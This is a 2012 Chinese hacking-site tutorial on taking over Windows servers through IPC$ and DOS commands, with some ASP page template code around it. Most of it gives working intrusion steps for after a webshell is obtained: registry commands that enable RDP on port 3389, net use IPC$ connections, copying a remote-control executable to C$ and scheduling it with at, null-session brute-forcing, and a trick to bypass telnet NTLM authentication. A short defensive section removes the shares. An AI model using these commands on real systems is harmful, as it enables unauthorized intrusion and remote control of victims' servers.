<% dim ModuleName,InfoID,ChannelShortName,CorrelativeArticle,InstallDir,ChannelDir,Keyword,PageTitle,ArticleIntro,Articlecontent Keyword=stripHTML("入侵,ipc技巧,入侵方法") PageTitle=stripHTML("ipc命令入侵方法") ArticleIntro=stripHTML("") Articlecontent=stripHTML("别喷我,老方法,现在貌似适用的情况不是很多  当你获得了一个webshell,并且提升了自己的权限时,是否就一定能进行远程连接呢?  有时会苦于3389端口未开…") ModuleName = stripHTML("netadmin") InfoID = stripHTML("114870") ChannelShortName=stripHTML("网管") InstallDir=stripHTML("http://www.77169.com/") ChannelDir=stripHTML("netadmin") %> ipc命令入侵方法 - 华盟网 - http://www.77169.com
您现在的位置: 华盟网 >> 网管 >> 入侵检测 >> 正文

ipc命令入侵方法

2012/4/7 作者:Admin胡哥 来源: 华盟搜集
导读 <% if len(ArticleIntro)<3 then Response.Write Articlecontent 'Response.Write "Articlecontent" else Response.Write ArticleIntro 'Response.Write "ArticleIntro" end if %>

  别喷我,老方法,现在貌似适用的情况不是很多

  当你获得了一个webshell,并且提升了自己的权限时,是否就一定能进行远程连接呢?

  有时会苦于3389端口未开启而不得不终止自己的入侵,当你的webshell的ws组件未被删除时,或许可以用

  dos命令来恢复远程终端连接.附上远程端口开启的命令:

  echo Windows Registry Editor Version 5.00>>3389.reg

  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg

  echo "fDenyTSConnections"=dword:00000000>>3389.reg

  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg

  echo "PortNumber"=dword:00000d3e>>3389.reg

  echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg

  echo "PortNumber"=dword:00000d3e>>3389.reg

  regedit /s 3389.reg

  del 3389.reg

  还提供一个方法,修改注册表开启,什么版本的都适用的,且不会重启。附上命令:

  reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /F

  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fDenyTSConnections /t REG_DWORD /d 0

  若是ws组件被删除,虽然网上流传一段asp文件调用ws的代码,可是我没有成功过

  给出ipc命令的格式

  net use \\ip\ipc$ "pass" /user: "name"

  copy命令配合at,net time命令可以玩玩全全的拿下一台未开有3389的服务器

  假设服务器ip未192.168.1.1

  先进行ipc连接,然后copy gezi.exe \\192.168.1.1\c$

  再net time \\192.168.1.1 获取时间 ,假设为10:00

  再执行at \\192.168.1.1 10:01 c:\gezi.exe

  (注:这里的gezi.exe可以使远控,可以是开3389的程序,都行)

  如若运气好,可进行ipc空连接,可以进行枚举的方法对管理员账号进行破解

  防范的方法:

  net share ipc$ /del

  net share c$ /del 类推,用几个盘就执行几次

  禁止ipc空连接,可以修改注册表

  [hkey_local_machine\system\currentcontrolset\control\lsa]把restrict anonymous=dword的键值改为00000001,重启生效,最后net stop server /y 到这里ipc的漏洞算是补上了

  最后想接下telnet入侵,当连接了ipc,可以用netsvc命令开启telnet

  由于telnet危害巨大,所以telnet启用NTLM认证,不过几个简单的步骤就可以使他形同虚设

  首先 开始--程序--附件--命令提示符--右键--属性

  以其他用户身份运行前面打钩,输入administrator,密码留空就可以破解

  虽然是老技术了,可是dos下的入侵仍然是经典,说不定什么时候就用上了

  大家别喷我,一个一个字码出来可是很累的,没有功劳,也有苦劳



  • 上一篇网管:

  • 下一篇网管: